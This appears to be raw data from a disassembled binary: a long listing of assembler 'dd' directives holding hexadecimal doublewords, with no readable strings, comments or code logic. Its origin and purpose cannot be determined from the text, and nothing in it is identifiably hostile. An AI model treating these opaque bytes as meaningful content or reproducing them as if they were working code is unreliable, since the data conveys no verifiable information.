		dd 37084311h, 2043633h,	0F1CEFFh, 1D180018h, 60B0000h
		dd 1040309h, 2B00003Fh,	37084311h, 2043633h, 6F1CEFFh
		dd 0C438FF3Bh, 17D1C4FFh, 0F1CEFFh, 22FFF718h, 0FF02048Ah
		dd 1800F1CEh, 8A30FFF7h, 13D38FFh, 2B00003Fh, 37084311h
		dd 2043633h, 0F1CEFFh, 0A4000018h, 0D1C5FF8Ch, 3F17h, 843112Bh
		dd 15363337h, 1D1800h, 9060B00h, 3F010403h, 112B0000h
		dd 33370843h, 18001536h, 0B00001Dh, 4030906h, 3F01h, 843112Bh
		dd 0A363337h, 8D01h, 0FFA3A40Bh, 3F17D1C5h, 112B0000h
		dd 33370843h, 0A0D0D36h, 8D01h,	309060Bh, 3F0104h, 43112B00h
		dd 36333708h, 0CEFF0204h, 1D1800F1h, 0E0B0000h,	3F17h
		dd 843112Bh, 4363337h, 3F01h, 843112Bh,	4363337h, 3F01h
		dd 843112Bh, 4363337h, 182302h,	180018h, 1D180018h, 60B0000h
		dd 1040309h, 2B00003Fh,	37084311h, 10A3633h, 0B00008Dh
		dd 4623CA4h, 3F01h, 8D0112Bh, 4363337h,	0F1CEFF02h, 2043B06h
		dd 0F1CEFFh, 11A50318h,	29C2C0FFh, 0CEFF0204h, 81800F1h
		dd 0FF09193Ah, 0C0FF3ADDh, 3CC1FFB9h, 14C139FFh, 3F170E03h
		dd 112B0000h, 333708D0h, 23020436h, 2 dup(180018h), 1D18h
		dd 309060Bh, 3F0104h, 0D0112B00h, 36333708h, 3D0D1FFh
		dd 0CEFF0204h, 0FF3B06F1h, 0FF02A238h, 1800F1CEh, 88FF03h
		dd 1F8131FFh, 1E060000h, 4B0039A1h, 0F1CEFF17h,	89031800h
		dd 2040000h, 0F1CEFFh, 9060318h, 0A0D0039h, 8D01h, 3909060Bh
		dd 0EF39FF00h, 0AF50368h, 8101h, 815B0E0Bh, 39060000h
		dd 2E0034FFh, 34FF4388h, 10F1900h, 34FF43h, 0FF431E44h
		dd 16810034h, 0A0DE321h, 394301h, 3639FF28h, 0DDFF1335h
		dd 391BFF3Ah, 0FF6222FFh, 8101FAD1h, 450000h, 9060B00h
		dd 3F010403h, 112B0000h, 333708D0h, 0FF020436h,	3B06F1CEh
		dd 28F38FFh, 0F1CEFFh, 1F890318h, 1E060000h, 4B00397Eh
		dd 397E1425h, 0FF020400h, 1800F1CEh, 0E03h, 163830h, 397E14h
		dd 8D010A0Dh, 60B0000h,	0FF003909h, 62FFFE39h, 3F171FD1h
		dd 112B0000h, 333708D0h, 23020436h, 0A0D0D3Bh, 8D01h, 209060Bh
		dd 3A081823h, 63FF1FFFh, 4031FD1h, 3F01h, 8D0112Bh, 4363337h
		dd 182302h, 0A8FFA400h,	3F010403h, 112B0000h, 333708D0h
		dd 23020436h, 1D18h, 3F170E0Bh,	112B0000h, 333708D0h, 23020436h
		dd 0A4000018h, 104987Ch, 2B00003Fh, 3708D011h, 2043633h
		dd 0F1CEFFh, 1D18h, 3F170E0Bh, 112B0000h, 333708D0h, 23020436h
		dd 1D18h, 3F170E0Bh, 112B0000h,	333708D0h, 23020436h, 180018h
		dd 1D180018h, 60B0000h,	1040309h, 2B00003Fh, 3708D011h
		dd 2043633h, 18001823h,	0B00001Dh, 4030906h, 3F01h, 8DD112Bh
		dd 0D363337h, 3939FF0Dh, 0FE1F23h, 0E3BA089Ah, 17D1DEFFh
		dd 2B00003Fh, 3708DD11h, 2043633h, 38FF3B23h, 0D1DFFF2Bh
		dd 8182317h, 60FFDF3Ah,	43B0E03h, 0A6192302h, 4DC5FFh
		dd 42DB3AFFh, 4DC5FF01h, 2508C500h, 4DC5FF14h, 39FF0D00h
		dd 0E036B0Eh, 39FF0D29h, 403098Bh, 3F01h, 8DD112Bh, 4363337h
		dd 0FF3B2302h, 2302A738h, 2302043Bh, 0C1FFA619h, 0DB3AFF4Dh
		dd 0C1FF0142h, 2508C54Dh, 4DC1FF14h, 18230204h,	29FF3A08h
		dd 90603CAh, 3F010403h,	112B0000h, 333708DDh, 23020436h
		dd 0C538FF3Bh, 17D1DFFFh, 3A081823h, 170EFD1Eh,	2B00003Fh
		dd 3708DD11h, 2043633h,	38FF3B23h, 0D1DCFF0Bh, 3182317h
		dd 39E24Eh, 39E21E44h, 0F611FF00h, 0FFD1D8FFh, 66FF11AFh
		dd 1425D1DCh, 39E2h, 0FFBA089Ah, 1040377h, 2B00003Fh, 3708DD11h
		dd 2043633h, 2043B23h, 6F1CEFFh, 0AB38FF3Bh, 0F1CEFF02h
		dd 18001800h, 3F170E03h, 112B0000h, 333708DDh, 23020436h
		dd 0FF02043Bh, 3B06F1CEh, 0FFE738FFh, 0FF17D1DCh, 1800F1CEh
		dd 0E031800h, 3F17h, 8DD112Bh, 4363337h, 0F1CEFF02h, 38FF3B06h
		dd 0FF179B2Ah, 1800F1CEh, 3BFFA403h, 10403DDh, 2B00003Fh
		dd 3708DD11h, 2043633h,	0A3063B23h, 80ED9FFh, 0DDFF1B03h
		dd 0DDFF0116h, 8A3B004Dh, 4DDDFF01h, 8DD1B00h, 0DDFF1425h
		dd 0A0D004Dh, 8D01h, 309060Bh, 2302040Dh, 420E0318h, 0FF086A11h
		dd 2E03D0D1h, 0FF7C062Fh, 3080ED9h, 1B138FFh, 2B00003Fh
		dd 3708DD11h, 10A3633h,	0B00008Dh, 3F01B9A4h, 112B0000h
		dd 333708DDh, 23020436h, 0C738FF3Bh, 0CEFF179Bh, 81800F1h
		dd 0FF6EFF3Ah, 0E03C8CEh, 3F17h, 8DD112Bh, 4363337h, 3F01h
		dd 8DD112Bh, 4363337h, 3F01h, 8DD112Bh,	0D363337h, 0FFBE39FFh
		dd 4036138h, 3F01h, 8DD112Bh, 0D363337h, 749C010Ah, 0FF006F00h
		dd 460841C4h, 45007422h, 0FFA001FFh, 11FCF1CEh,	3DA8DFFh
		dd 0DA39FF0Dh, 3C8CEFFh, 18BB88FFh, 2B00003Fh, 3708DD11h
		dd 2043633h, 38FF3B23h,	0D1DAFFF7h, 1A192317h, 1A197D6Dh
		dd 1D227D6Dh, 60B0000h,	1040309h, 2B00003Fh, 3708B811h
		dd 39FF3633h, 2E62FFC4h, 0B38FF00h, 17D1DBFFh, 2B00003Fh
		dd 3708B811h, 1043633h,	2B00003Fh, 3708B811h, 2043633h
		dd 0F1CEFFh, 1D18h, 3F170E0Bh, 112B0000h, 333708B8h, 0FF020436h
		dd 1800F1CEh, 0B00001Dh, 3F170Eh, 0B8112B00h, 36333708h
		dd 3F0104h, 0B8112B00h,	36333708h, 3F39FF0Dh, 0AAD1C6FFh
		dd 18001823h, 6031800h,	1040309h, 2B00003Fh, 3708B811h
		dd 12FF3633h, 20403D0h,	2043B23h, 6A1A1923h, 742208h, 0C4FF1A6Fh
		dd 3E01E585h, 742701h, 7432010Fh, 321E0600h, 327A0074h
		dd 169ACEFFh, 10A2946h,	6E008130h, 741800h, 86A1800h, 311015Dh
		dd 74320104h, 43B0600h,	1A192302h, 0DFFF5D2Dh, 1A19235Ah
		dd 4DD9FF01h, 0DB3AFF00h, 0D9FF0142h, 10D004Dh,	26008130h
		dd 10A0D00h, 0B00008Dh,	4030906h, 743201h, 2043B06h, 2D1A1923h
		dd 5ADFFF5Dh, 11A1923h,	0FF00001Ah, 142DB3Ah, 0D00001Ah
		dd 813001h, 0A0D0026h, 8D01h, 209060Bh,	2D1A1923h, 5ADFFF5Dh
		dd 11A1923h, 4DD1FFh, 42DB3AFFh, 4DD1FF01h, 30010D00h
		dd 6E0081h, 4318h, 8D010A0Dh, 60B0000h,	9A000309h, 74321708h
		dd 23190400h, 743201h, 7938FFh,	27140000h, 0FF000074h
		dd 4D28DC4h, 8182302h, 1D22h, 309060Bh,	3F0104h, 0A1112B00h
		dd 36333708h, 3D133FFh,	3B230204h, 19230204h, 22086A1Ah
		dd 1A6F0081h, 0E585C4FFh, 4603ED01h, 3B010A29h,	81690104h
		dd 81180000h, 6A180000h, 86FF5D08h, 8169142Eh, 0C4FF0000h
		dd 1923028Dh, 0FF5D2D1Ah, 19235ADFh, 8A05011Ah,	8B80501h
		dd 4322h, 0A0D0026h, 8D01h, 309060Bh, 81691400h, 0C4FF0000h
		dd 1823028Dh, 1D2208h, 9060B00h, 3F010403h, 112B0000h
		dd 333708A1h, 17160A36h, 2043B23h, 0FF031823h, 0DBFF5288h
		dd 20403A6h, 4E031823h,	431Bh, 23170815h, 9060318h, 0F1CEFF01h
		dd 19231716h, 431B0A1Ah, 3C760000h, 2726D9FFh, 23020D01h
		dd 1B0A1A19h, 76000043h, 29D9FF3Ch, 39B30127h, 17000043h
		dd 0A1A1923h, 431Bh, 0D9FF3C76h, 0DE012728h, 1A192302h
		dd 431B0Ah, 0FF3C7600h,	1272BD9h, 4339A0h, 19231700h, 431B0A1Ah
		dd 3C760000h, 2DD9FFh, 23020400h, 1B0A1A19h, 76000043h
		dd 2CD9FF3Ch, 39BEFF01h, 17000043h, 0A1A1923h, 431Bh, 0D9FF3C76h
		dd 8401272Fh, 1A192302h, 431B0Ah, 5C3C7600h, 393E0127h
		dd 22000043h, 0B000043h, 3 dup(0B000089h), 22081889h, 0B00001Dh
		dd 23020906h, 1D220818h, 60B0000h, 1040309h, 2B00003Fh
		dd 3708A111h, 16E33633h, 6C014F3Ah, 39060000h, 0F7000043h
		dd 46000082h, 435E01h, 9060B00h, 435Eh,	4639FF58h, 6C012B03h
		dd 0FFA30000h, 0FF03D239h, 290352DEh, 3E0E0315h, 439FFF01h
		dd 0FF150000h, 0E000034h, 0FF150000h, 0C4FF2ED3h, 433D3EC9h
		dd 43150000h, 260000h, 25C4FF00h, 4346h, 0FF000026h, 3D3EDDC4h
		dd 43h,	3EE1C4FFh, 4D8DFFh, 0FA11FF06h,	8DFF010Fh, 38FF004Dh
		dd 8DFF1E8Eh, 0D1FF004Dh, 0FF7703D5h, 8DFF5ADFh, 10F004Dh
		dd 4A29FFh, 42DB3AFFh, 4A29FF01h, 0D5D1FF00h, 0FF010403h
		dd 0FF004A29h, 0DBFF3910h, 1D2281h, 9060B00h, 3F010403h
		dd 112B0000h, 333708A1h, 3F010436h, 112B0000h, 333708A1h
		dd 150D0D36h, 1D2208h, 9060B00h, 3F010403h, 112B0000h
		dd 333708DCh, 23020436h, 180018h, 1D18h, 309060Bh, 3F0104h
		dd 0DC112B00h, 36333708h, 3F0104h, 0DC112B00h, 36333708h
		dd 8D010Ah, 43A40B00h, 3F17B1h,	0DC112B00h, 36333708h
		dd 3F0104h, 0DC112B00h,	36333708h, 8D010Ah, 82A40B00h
		dd 3F010403h, 112B0000h, 333708DCh, 3A081536h, 5138FFh
		dd 0Eh,	433C14h, 10A0D00h, 0B00008Dh, 430906h, 14254B00h
		dd 433Ch, 7C39FFh, 17581DA4h, 2B00003Fh, 3708DC11h, 10A3633h
		dd 0B00008Dh, 5806FFA4h, 3F17h,	8DC112Bh, 4363337h, 3F01h
		dd 8DC112Bh, 0FF363337h, 231758FCh, 2302043Bh, 0C4E0318h
		dd 0D039062Fh, 0C170000h, 4F706601h, 43F1CEFFh,	1040000h
		dd 43F1CEFFh, 0A2350000h, 5820FF2Ch, 4363h, 0CEFF0104h
		dd 43F1h, 0E72CA235h, 0FF2CA235h, 43645820h, 1040000h
		dd 43F1CEFFh, 0A2350000h, 0A235E72Ch, 1535E72Ch, 4371010Fh
		dd 1040000h, 4363h, 3750055h, 0FF2F39FFh, 0F002E1Ah, 431901h
		dd 19010400h, 35000043h, 20FF2CA2h, 5058h, 43190104h, 0A2350000h
		dd 0A235E72Ch, 5820FF2Ch, 4338h, 43190104h, 0A2350000h
		dd 0A235E72Ch, 1535E72Ch, 4C010Fh, 4C1E0600h, 0B70000h
		dd 2E08C500h, 21FF018Ah, 1E0C004Ah, 4338h, 0C50000B7h
		dd 18A2E08h, 1308ED10h,	0B7000050h, 8C50000h, 0FF018A2Eh
		dd 0C004A39h, 43711Eh, 0B700h, 8A2E08C5h, 8ED2001h, 436413h
		dd 0B700h, 8A2E08C5h, 4A31FF01h, 631E0C00h, 0B7000043h
		dd 8C50000h, 41018A2Eh,	142508EDh, 4A21FFh, 4C1400h, 10140000h
		dd 433814h, 0FF140000h,	4A39h, 5014h, 14201400h, 4371h
		dd 31FF1400h, 1400004Ah, 4364h,	14411400h, 4363h, 8D010A0Dh
		dd 60B0000h, 3F0109h, 0DC112B00h, 36333708h, 2 dup(3B230204h)
		dd 0EE823AFFh, 18231708h, 0DF090603h, 18230204h, 83FF3A08h
		dd 23170E73h, 40E0318h,	8182302h, 73FFB43Ah, 653541Fh
		dd 7F129FFh, 5D2D9362h,	0FF5AD8FFh, 33FF91D9h, 8CD9FF5Ah
		dd 7000D10h, 0B00247Fh,	39FF0906h, 1F70FF39h, 450000h
		dd 9060B00h, 3906001Ch,	513001Ch, 0AEFF4007h, 2D050104h
		dd 0F1CEFF13h, 0DEFF401Bh, 10F055Ah, 2E30FF05h,	84010514h
		dd 10A0D0Dh, 0B0000E1h,	1D0906h, 1C970B00h, 66FF4500h
		dd 906002Eh, 104001Ch, 7705010Ch, 0
		dd 0EA084F14h, 0EFC45700h, 0A71316D8h, 5ADAFF1Bh, 63132D93h
		dd 0FF352F1Bh, 0FF02B538h, 0FA6B91D9h, 5A072508h, 70FF9BFFh
		dd 0AC21061Fh, 0FF352F07h, 171AEF38h, 2FA21FFh,	0FF91D9FFh
		dd 1DA7D1h, 2E163000h, 0FA21FF88h, 91D9FF02h, 14000000h
		dd 2FC5FFh, 7F070000h, 0B00001Dh, 0D0FF0906h, 1D5Ch, 4509060Bh
		dd 60B0000h, 13520609h,	0D266FF05h, 0FF0517D1h,	401BF129h
		dd 55AD8FFh, 0A3B3AFFh,	1D2A01h, 10A2800h, 7000D66h, 0C5FF1305h
		dd 0A5D2FF52h, 22B1AAFFh, 0B00001Dh, 8D4Eh, 1D2A010Ah
		dd 4E0B0000h, 600003Fh,	8D1Eh, 0D9FF017Ah, 0A0D03D0h, 39FF6601h
		dd 0BD0E032Ch, 10A0D03h, 3339FF66h, 0FF1F72FFh,	39FFC8CEh
		dd 42D6h, 0FF2CA235h, 8D5820h, 6C38FF00h, 66010A29h, 36339FFh
		dd 8D01420Eh, 66FF0000h, 0DCBAD1D2h, 10A2903h, 5D39FF66h
		dd 39FF0E03h, 0F00004Ah, 8D01h,	22A23AFFh, 0B00001Dh, 0A139FF0Eh
		dd 8D01h, 229E3AFFh, 0B00001Dh,	0EF39FF0Eh, 0F000077h
		dd 8D01h, 0DFA3AFFh, 0FF66010Ah, 72FFF139h, 39DCFF1Fh
		dd 0FC76h, 8D010Fh, 0FF35D600h,	3F1E9138h, 17A0000h, 3D0D9FFh
		dd 2A010A0Dh, 0B00001Dh, 0D03BD0Eh, 1D2A010Ah, 0E0B0000h
		dd 0FF2339FFh, 0A2350014h, 5820FF2Ch, 0FF00003Fh, 0A296C38h
		dd 1D2A01h, 420E0B00h, 3F01h, 0D1D266FFh, 2903DCBAh, 1D2A010Ah
		dd 0E0B0000h, 5739FFh, 3F010F00h, 3AFF0000h, 1D22A2h, 0FF0E0B00h
		dd 3F018A39h, 3AFF0000h, 1D229Eh, 0FF0E0B00h, 7F839h, 3F010F00h
		dd 3AFF0000h, 10A0DFAh,	1D2Ah, 39FF0E0Bh, 3FA4h, 38FF35D6h
		dd 0A2916FAh, 8201h, 1040E0Bh, 5500008Dh, 352F1B00h, 0A2903D5h
		dd 8201h, 1040E0Bh, 5500008Dh, 352F0700h, 30238FFh, 82010A29h
		dd 0E0B0000h, 8D0104h, 0FC005500h, 38FF352Fh, 0A0D0376h
		dd 8201h, 1040E0Bh, 5500008Dh, 0AFFF7500h, 82010A0Dh, 0E0B0000h
		dd 8D0104h, 3E005500h, 0AB984FFh, 8201h, 1040E0Bh, 5500008Dh
		dd 851A7700h, 0FF020A71h, 468129h, 4090600h, 0EFFF0C02h
		dd 9121FF05h, 88FF0000h, 72075418h, 0AD020FA0h,	0FF400783h
		dd 39FFB98Bh, 5020FA2h,	0D3C4007h, 55F0700h, 9B239FFh
		dd 7D050204h, 0FA680E00h, 0FF0D4608h, 5539h, 10040906h
		dd 0FF8CD1FFh, 0D485280h, 0D02239FFh, 0FF1B0E03h, 0DDFF2EC0h
		dd 0F39FFB9h, 0FA0E03D0h, 39FF2908h, 0E03D01Ah,	2EC0FF1Bh
		dd 6DB9C1FFh, 6A0E03D0h, 39FF2908h, 130E0372h, 4050205h
		dd 69FF0502h, 0FF401BC9h, 0B0FF3939h, 72C3503h,	29FF0205h
		dd 0AFF2ABAh, 0FF3A0890h, 0DE1F4A8Ah, 0FF290823h, 0FFAA9239h
		dd 0CEFFBA29h, 900AFFF1h, 29FF0204h, 0F1CEFFBAh, 8900AFFh
		dd 0E03233Ah, 1FD3063Ah, 0FF0D3B3Ah, 5854BC39h,	86D1FFh
		dd 20A2800h, 9060B30h, 83639FFh, 0B9F6FF5Dh, 0DAE39FFh
		dd 0EE39FF0Dh, 3A0E0370h, 3E4C4FFh, 0A75288FFh,	2D7A03DAh
		dd 5D087311h, 0AB9C4FFh, 1D6901h, 690E0B00h, 4500001Dh
		dd 20FF2A1Fh, 0B9C4FF90h, 0FF05010Ah, 62F49939h, 39FF0D05h
		dd 0E03DDE2h, 0A280000h, 1D6901h, 0FF0D2800h, 6034D39h
		dd 0FF327A09h, 603D3F6h, 0C91BA721h, 8732A53h, 0B9C7FF5Dh
		dd 0A4BEFF3Ah, 39FF03F9h, 2E10FFEDh, 2CA23500h,	3B5820FFh
		dd 753B1Eh, 32E50100h, 0ED3A16ABh, 0A0000A1h, 1C6801h
		dd 0FA62A50Bh, 1C2208h,	0A3000E0Bh, 3D5D1FFh, 39DCFF77h
		dd 9042h, 1C6B010Fh, 0DB3AFF00h, 1C6B0142h, 0D5D1FF00h
		dd 6B010403h, 10FF001Ch, 58DBFF39h, 2C09FFh, 4B39FFh, 1B010F00h
		dd 4200001Dh, 8FA4101h,	1B50D1FFh, 6100001Dh, 1CF858h
		dd 1D1B1E0Ch, 8A0C0000h, 8FA4101h, 1425113h, 2C31FFh, 0A46037Eh
		dd 1C8201Eh, 2C31FFh, 7201326h,	2C39FF62h, 0B700h, 69150316h
		dd 151FE0FFh, 1C0E03h, 11FF7E7Ah, 0FC11FF99h, 2653h, 2C09FF14h
		dd 1D1500h, 68011500h, 306F001Ch, 0FF09060Bh, 0FB1B0DD9h
		dd 39FF0D0Dh, 39FFF580h, 411F35D7h, 4127231Bh, 0B43A0861h
		dd 3A0E03A1h, 0FF1FBE6Ah, 0E0B900Ah, 0BE1239FFh, 7239FF1Fh
		dd 1F459703h, 0FF471F45h, 0C1FF2E80h, 5A07592Eh, 2E2A66FFh
		dd 0FF090600h, 903Bh, 21688FFh,	39FF0D05h, 39FF0DB2h, 8150D89h
		dd 0E139FF29h, 6000021h, 0FF290809h, 0E0FF3039h, 7FF3A1Fh
		dd 81FE0FFh, 0DCFF1B03h, 2D88FFBBh, 15E13AFFh, 0FE3Ah
		dd 9A000906h, 50D1FF08h, 0DAFF2105h, 55B055Ah, 0FF479D00h
		dd 0DCDBD969h, 0E9070003h, 29FF010Ah, 0B00003Eh, 20A0906h
		dd 58C1FFh, 0D1FF0507h,	22B03C1h, 328129FFh, 7311h, 2909060Bh
		dd 29FF010Ah, 0B00003Eh, 0B00000Eh, 26000089h, 0C8CEFF3Ah
		dd 0AEFFh, 10040906h, 46D9FF3Ah, 0AE90725h, 39FF0501h
		dd 9060343h, 0A000073h,	58C1FF02h, 0FF050700h, 2B03C1D1h
		dd 3E29FF01h, 0A6E0000h, 731132h, 9060B00h, 5010A29h, 978939FFh
		dd 0B000073h, 26000089h, 0AFFF013Ah, 9060000h, 1B3A1004h
		dd 20403EEh, 0A1302D93h, 15115D16h, 0C98F1752h,	0D0D1FF16h
		dd 0F1CEFF07h, 0C98F0204h, 0B000045h, 3AFF0906h, 0F069FFA7h
		dd 0F1CEFF07h, 0C98F0204h, 0B000045h, 3AFF0906h, 0F069FF9Bh
		dd 0F1CEFF07h, 0C98F0204h, 0B000045h, 3AFF0906h, 8F0204CFh
		dd 45C9h, 409060Bh, 16FA8F02h, 42B1B03h, 16C98F02h, 8F561BF9h
		dd 0D1FF16C9h, 816207D2h, 7322h, 5020E0Bh, 69DDFF07h, 0FF022B98h
		dd 11328129h, 0B000073h, 8F170906h, 1BF916C9h, 16C98F56h
		dd 7D2D1FFh, 73228162h,	0E0B0000h, 7322h, 0E0Bh, 890Bh
		dd 28FF3A26h, 18DDFFADh, 39FF0354h, 0A037E39h, 58DDFF02h
		dd 0AE90705h, 0EECA0501h, 29090603h, 0FF05010Ah, 7397B239h
		dd 890B0000h, 3A260000h, 69E2h,	10040906h, 39C4FF0Dh, 6540584h
		dd 1107A721h, 0FF3A0301h, 2E00h, 705020Fh, 0D0D0740h, 0FF184615h
		dd 29BB29h, 0C4FF3407h,	0C5B086Dh, 0FF1F0C07h, 700B9D0h
		dd 0FF460805h, 3D518h, 25080507h, 25080C07h, 8E03407h
		dd 5418D1FFh, 9FFF5A07h, 0AD4E03DBh, 4050205h, 26C0502h
		dd 0FF05024Ah, 0FF07F229h, 2FFBBC4h, 120E03FAh,	4A020405h
		dd 29FF0502h, 0E0FF07EEh, 10371B2h, 0FFB0FF60h,	120E0376h
		dd 2BAB1505h, 5120E03h,	1044479Dh, 4B986FFh, 0FF4C8702h
		dd 0FF1F473Bh, 18005AC6h, 1D2B3A08h, 290E0000h,	18870204h
		dd 38FF0E03h, 708DFF82h, 3188717h, 0E938FF0Eh, 29D1DCFFh
		dd 18870204h, 3FE0E03h,	0C5FF0204h, 58DA9B52h, 2DC78E17h
		dd 52D0FF19h, 1DED0FFh,	0FFD3C7FFh, 18871770h, 81FF0E03h
		dd 52C5FFD0h, 16FB3298h, 87020429h, 0E40E0318h,	0DAA71316h
		dd 0C5FF1716h, 0D1C5FF52h, 0C5FFFD1Bh, 6482A52h, 0FF02043Bh
		dd 0CEFF52C5h, 8E174BF1h, 2DDEC5FFh, 7F3FF13h, 179BFC11h
		dd 0AA031887h, 0F1CEFF8Eh, 163830h, 5CDDFF07h, 0E0B001Ch
		dd 0B001C22h, 4600000Eh, 2F20FF01h, 60B0000h, 9, 2040316h
		dd 4E031887h, 2C19FFh, 2C19FFC3h, 10FF6E00h, 0FF6D9339h
		dd 8111h, 0FF3910FFh, 11FFDEC1h, 0FF000081h, 0C32A3910h
		dd 0B000045h, 18000906h, 1C1800h, 0FF07006Eh, 1C5CDDh
		dd 309060Bh, 8702040Dh,	0D0E0318h, 18870204h, 21060E03h
		dd 0DCB1BA7h, 2508150Dh, 85FF7207h, 6000028h, 7129FF09h
		dd 72070029h, 6004DA3h,	40D0309h, 3188702h, 2040D0Eh, 7841887h
		dd 45AC6FFh, 91DDFF19h,	0E0034A9h, 87020429h, 6D0E0318h
		dd 89FF3A16h, 0A2350066h, 5820FF2Ch, 6000050h, 501Eh, 39DCFF1Ah
		dd 5EFFAFFFh, 0E5010000h, 1696FF32h, 7CFF3Ah, 18010A00h
		dd 0FF1139FFh, 62A50076h, 52208FAh, 0E0373FFh, 0D1FFA300h
		dd 0FF7703D5h, 32FF39DCh, 10F0063h, 0FF000023h,	142DB3Ah
		dd 0FF000023h, 403D5D1h, 2301h,	0FF3910FFh, 57E58DBh, 10F009Fh
		dd 4200004Ch, 805A101h,	4C50D1FFh, 39FF0000h, 57503D2h
		dd 50D1FF08h, 0C00004Ch, 5A1018Ah, 5E21308h, 3054301h
		dd 811E0A15h, 22FF0000h, 543017Ah, 18E1C4FFh, 11000081h
		dd 7462h, 160000B7h, 0FFA11503h, 151FD1F6h, 7E050E03h
		dd 0FF9911FFh, 2653FC11h, 7E140000h, 50140005h,	1150000h
		dd 22081518h, 60B001Ch,	66013B09h, 97A039FFh, 2	dup(970B001Ch)
		dd 45001Ch, 204290Eh, 0A50D4C87h, 80A81562h, 9060000h
		dd 2040D03h, 0E031887h,	7207000Dh, 0E03AB71h, 0C5FF0204h
		dd 191BA752h, 938E0204h, 0EBFF132Dh, 8E5ADEFFh,	91D9FFh
		dd 0DD3AFF00h, 0A68E0204h, 342Ah, 342A14h, 0EA39FF0Dh
		dd 290E004Dh, 18870204h, 6EFF0E03h, 18004603h, 60B0049h
		dd 45004909h, 4500491Fh, 0D290E00h, 341839FFh, 49090600h
		dd 0E0B0B00h, 0FF18010Ah, 5F39h, 5CC4FFA5h, 450049h, 0FF0D180Eh
		dd 39C3739h, 495E0Eh, 290E0045h, 18870204h, 68150E03h
		dd 290E0095h, 18870204h, 5FFF0E03h, 0C5FF1703h,	11079B52h
		dd 3D686FFh, 8702040Dh,	0E0318h, 3D1E0600h, 294B0024h
		dd 243D0104h, 451900h, 240906h,	0E0B196Eh, 10A2978h, 4500245Eh
		dd 3090600h, 8702040Dh,	40E0318h, 52C5FF02h, 0FF1107A7h
		dd 0D03D762h, 11720700h, 2040E03h, 91D9FF8Eh, 62FF3A08h
		dd 0D031F5Ah, 18870204h, 16300E03h, 3B062A17h, 42A0204h
		dd 0DEC1FF19h, 54D0FF19h, 0D780FF11h, 19042A17h, 19DEC1FFh
		dd 0A352D0FFh, 354DEFFh, 42A0204h, 2 dup(91C1FF19h), 0E03h
		dd 243C1400h, 2A020400h, 0C1FF1904h, 241F91h, 243C1400h
		dd 2A020400h, 0C1FF1904h, 3B061F91h, 2A0204h, 0C2190418h
		dd 3C0A0024h, 0BD0D9FFh, 19042A0Eh, 300024C2h, 204166Ch
		dd 0FF19042Ah, 0FF19DEC1h, 0FF3254D0h, 0A03D163h, 346401h
		dd 0C1FF1945h, 9060091h, 39060034h, 19130034h, 194B0034h
		dd 6530034h, 1BF129FFh,	5ADEFF40h, 19003419h, 3419010Fh
		dd 303AFF00h, 34191400h, 87020400h, 0A290818h, 343C01h
		dd 3409060Bh, 34970B00h, 814500h, 340906h, 1660104h, 0FF003419h
		dd 3BDA638h, 1BA72106h,	0FF02047Ch, 1BA752C5h, 0C5FF0223h
		dd 621B9B52h, 7250873h,	5FF6FF72h, 1A1E111Fh, 0DDFF8E17h
		dd 2A560891h, 0DDFF1904h, 0DDFF0891h, 870204B9h, 40E0318h
		dd 2DC78E02h, 1801B713h, 6901h,	0FF03B100h, 204C23Ah, 3918A68Eh
		dd 2E000000h, 4B987FFh,	3188702h, 8E02040Eh, 0B7132DC7h
		dd 69011801h, 0B1000000h, 0C73AFF03h, 0A68E0204h, 690118h
		dd 3160000h, 0D5D43AFFh, 6913B1h, 0D2FF0000h, 31D01DEh
		dd 0DDFF8E17h, 2A560891h, 0DDFF1904h, 0DDFF0891h, 5052h
		dd 50882Eh, 10F1900h, 4000050h,	5001h, 0C5FF1204h, 34484452h
		dd 0A4DEFF00h, 12040000h, 0FF50002Ah, 10F1539h,	4003471h
		dd 5001h, 448E1204h, 34710A04h,	65C5300h, 7D029FFh, 345AC6FFh
		dd 8E120400h, 710A0444h, 3C8C0034h, 3AD0FF5Ch, 40000B3h
		dd 0FF508712h, 10FA639h, 400004Ch, 5001h, 448E1204h, 4C0A04h
		dd 65C5300h, 7D029FFh, 50014Ch,	8E120400h, 4C0A0444h, 6C300000h
		dd 501700h, 2A120400h, 0A041A04h, 3000004Ch, 112E006Ch
		dd 7Ch,	1814000Dh, 0E039CFBh, 0DDFF0204h, 0ABFF1858h, 9060B15h
		dd 393B5B04h, 17000000h, 514C002Ah, 630020Fh, 0D2FF3021h
		dd 23B01A2h, 6005330h, 7F129FFh, 305AD8FFh, 30020F3Dh
		dd 8E3AFFh, 94D2FF00h, 0F129FF06h, 9ACEFF07h, 23B0104h
		dd 61D5330h, 7FC29FFh, 0FF0000B9h, 0FF0694D2h, 1BAB29h
		dd 3160000h, 23B0104h, 8C005330h, 0D0FF113Ch, 0FF06305Ah
		dd 20FD239h, 0D33AFF30h, 0FFD43AFFh, 1B1EA838h,	7A000000h
		dd 0D119FF32h, 34390603h, 63882E00h, 0F190034h,	346301h
		dd 34631E06h, 0DEC1FF00h, 1040339h, 4003463h, 64062A12h
		dd 3B174B44h, 0A043002h, 4003463h, 0B9C984FFh, 1B1E06h
		dd 34480000h, 344800h, 1B871204h, 1F0544h, 84FF0400h, 765E04C9h
		dd 390605h, 63170000h, 12040034h, 301A042Ah, 17F1CEFFh
		dd 4003463h, 30448E12h,	17F1CEFFh, 4003463h, 38062A12h
		dd 34631744h, 0FF120400h, 0BA4452C5h, 8, 8702040Dh, 40E0318h
		dd 0FF062A02h, 286EDD11h, 0
		dd 0FF071814h, 9722EC1h, 2040309h, 9852C5FFh, 34390C11h
		dd 2042900h, 0E031887h,	3438018Ch, 38D0FF00h, 8717037Eh
		dd 0ED3A0818h, 2E10FFh,	34600Eh, 3E3AD0FFh, 88FF0318h
		dd 0B0FF1A52h, 3188702h, 2DC78EAAh, 2ED0FF3Ch, 0F429FF06h
		dd 2040207h, 0AA031887h, 51DDFF8Eh, 3A2ED0FFh, 3FFBCFFh
		dd 0CF0FB2BBh, 34F1CEFFh, 87020400h, 88FF0318h,	0CEFF01EAh
		dd 690034F1h, 38018C2Fh, 0D0FF0034h, 38016DDEh,	60010034h
		dd 0C111FF06h, 286Eh, 18140000h, 2EC1FF07h, 12FF1E72h
		dd 906002Eh, 4569FF47h,	52060301h, 6146h, 3B010A28h, 0FF5A0700h
		dd 6004331h, 14250809h,	6190h, 0FC839FFh, 11420E03h, 2E903BFFh
		dd 697C062Fh, 0FF903BFFh, 0D8FF3F69h, 619052h, 294B00h
		dd 619014h, 839FF00h, 0D0E0327h, 61901400h, 39FF0000h
		dd 0E032712h, 3D13BFFh,	0DA091E06h, 19FF1303h, 7A00003Fh
